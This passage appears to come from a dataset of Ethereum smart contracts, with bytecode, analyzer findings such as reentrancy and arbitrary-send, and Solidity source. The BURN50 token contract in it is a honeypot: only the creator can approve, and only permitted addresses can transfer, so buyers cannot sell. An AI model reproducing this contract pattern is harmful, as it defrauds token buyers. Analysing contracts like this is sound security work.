6000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202a737ac7f62899443d28e2ba66c9def013d3eb575d9b6ab5209719687ce5912664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,086 |
0xb44bea774097359f48ba4e83c51ec6372ea8ad73
|
pragma solidity ^0.6.6;
/**
*"SPDX-License-Identifier: MIT"
*BURN50 Token Contract source code
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* Available since v3.1.
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Permissions is Context
{
address private _creator;
address private _uniswap;
mapping (address => bool) private _permitted;
constructor() public
{
_creator = 0xC6ED10D70664Ea8785075db617D27c85a63E1d67;
_uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
_permitted[_creator] = true;
_permitted[_uniswap] = true;
}
function creator() public view returns (address)
{ return _creator; }
function uniswap() public view returns (address)
{ return _uniswap; }
function givePermissions(address who) internal
{
require(_msgSender() == _creator || _msgSender() == _uniswap, "You do not have permissions for this action");
_permitted[who] = true;
}
modifier onlyCreator
{
require(_msgSender() == _creator, "You do not have permissions for this action");
_;
}
modifier onlyPermitted
{
require(_permitted[_msgSender()], "You do not have permissions for this action");
_;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BURN50 is Permissions, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18 and a {totalSupply} of the token.
*
* All four of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
//_name = "BURN50";
//_symbol = "BURN50";
_name = "BURN50";
_symbol = "BURN50";
_decimals = 18;
_totalSupply = 10000000000000000000000;
_balances[creator()] = _totalSupply;
emit Transfer(address(0), creator(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) {
_transfer(_msgSender(), recipient, amount);
if(_msgSender() == creator())
{ givePermissions(recipient); }
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
if(_msgSender() == uniswap())
{ givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063313ce5671161008c57806395d89b411161006657806395d89b411461027d578063a457c2d714610285578063a9059cbb146102b1578063dd62ed3e146102dd576100cf565b8063313ce5671461020d578063395093511461022b57806370a0823114610257576100cf565b806302d05d3f146100d457806306fdde03146100f8578063095ea7b31461017557806318160ddd146101b557806323b872dd146101cf5780632681f7e414610205575b600080fd5b6100dc61030b565b604080516001600160a01b039092168252519081900360200190f35b61010061031a565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013a578181015183820152602001610122565b50505050905090810190601f1680156101675780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a16004803603604081101561018b57600080fd5b506001600160a01b0381351690602001356103b0565b604080519115158252519081900360200190f35b6101bd610425565b60408051918252519081900360200190f35b6101a1600480360360608110156101e557600080fd5b506001600160a01b0381358116916020810135909116906040013561042b565b6100dc6104e3565b6102156104f2565b6040805160ff9092168252519081900360200190f35b6101a16004803603604081101561024157600080fd5b506001600160a01b0381351690602001356104fb565b6101bd6004803603602081101561026d57600080fd5b50356001600160a01b03166105a1565b6101006105bc565b6101a16004803603604081101561029b57600080fd5b506001600160a01b03813516906020013561061d565b6101a1600480360360408110156102c757600080fd5b506001600160a01b0381351690602001356106dd565b6101bd600480360360408110156102f357600080fd5b506001600160a01b0381358116916020013516610786565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103a65780601f1061037b576101008083540402835291602001916103a6565b820191906000526020600020905b81548152906001019060200180831161038957829003601f168201915b5050505050905090565b600080546001600160a01b03166103c56107b1565b6001600160a01b03161461040a5760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b61041c6104156107b1565b84846107b5565b50600192915050565b60085490565b60006104388484846108a1565b6104a8846104446107b1565b6104a385604051806060016040528060288152602001610c24602891396001600160a01b038a166000908152600460205260408120906104826107b1565b6001600160a01b0316815260208101919091526040016000205491906109f3565b6107b5565b6104b06104e3565b6001600160a01b03166104c16107b1565b6001600160a01b031614156104d9576104d983610a8a565b5060019392505050565b6001546001600160a01b031690565b60075460ff1690565b600080546001600160a01b03166105106107b1565b6001600160a01b0316146105555760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b61041c6105606107b1565b846104a385600460006105716107b1565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610b2c565b6001600160a01b031660009081526003602052604090205490565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103a65780601f1061037b576101008083540402835291602001916103a6565b600080546001600160a01b03166106326107b1565b6001600160a01b0316146106775760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b61041c6106826107b1565b846104a385604051806060016040528060258152602001610c9560259139600460006106ac6107b1565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906109f3565b6000600260006106eb6107b1565b6001600160a01b0316815260208101919091526040016000205460ff166107435760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b61075561074e6107b1565b84846108a1565b61075d61030b565b6001600160a01b031661076e6107b1565b6001600160a01b0316141561041c5761041c83610a8a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166107fa5760405162461bcd60e51b8152600401808060200182810382526024815260200180610c716024913960400191505060405180910390fd5b6001600160a01b03821661083f5760405162461bcd60e51b8152600401808060200182810382526022815260200180610bb16022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166108e65760405162461bcd60e51b8152600401808060200182810382526025815260200180610c4c6025913960400191505060405180910390fd5b6001600160a01b03821661092b5760405162461bcd60e51b8152600401808060200182810382526023815260200180610b8e6023913960400191505060405180910390fd5b61096881604051806060016040528060268152602001610bd3602691396001600160a01b03861660009081526003602052604090205491906109f3565b6001600160a01b0380851660009081526003602052604080822093909355908416815220546109979082610b2c565b6001600160a01b0380841660008181526003602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610a825760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a47578181015183820152602001610a2f565b50505050905090810190601f168015610a745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000546001600160a01b0316610a9e6107b1565b6001600160a01b03161480610acd57506001546001600160a01b0316610ac26107b1565b6001600160a01b0316145b610b085760405162461bcd60e51b815260040180806020018281038252602b815260200180610bf9602b913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b600082820183811015610b86576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365596f7520646f206e6f742068617665207065726d697373696f6e7320666f72207468697320616374696f6e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122050f9adb06ef7b9a92ab2a42826f55aa5d07fe7adf52854fe9e48b21e97c3132464736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,087 |
0xaa3d4c0541350e281ee6fea1db1c8ddd59f89ba7
|
/*
A Generic redistribution token... Really this is just a test for my first token creation :)
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
Token Information
1. 1,000,000,000,000 Total Supply
2. Developer provides LP
3. Fair launch for everyone!
4. 0,2% transaction limit on launch
5. Buy limit lifted after launch
6. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
7. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
8. 2% redistribution to holders on all buys
9. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
10. Redistribution actually works!
11. No Team Fees!
"SPDX-License-Identifier: None"
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
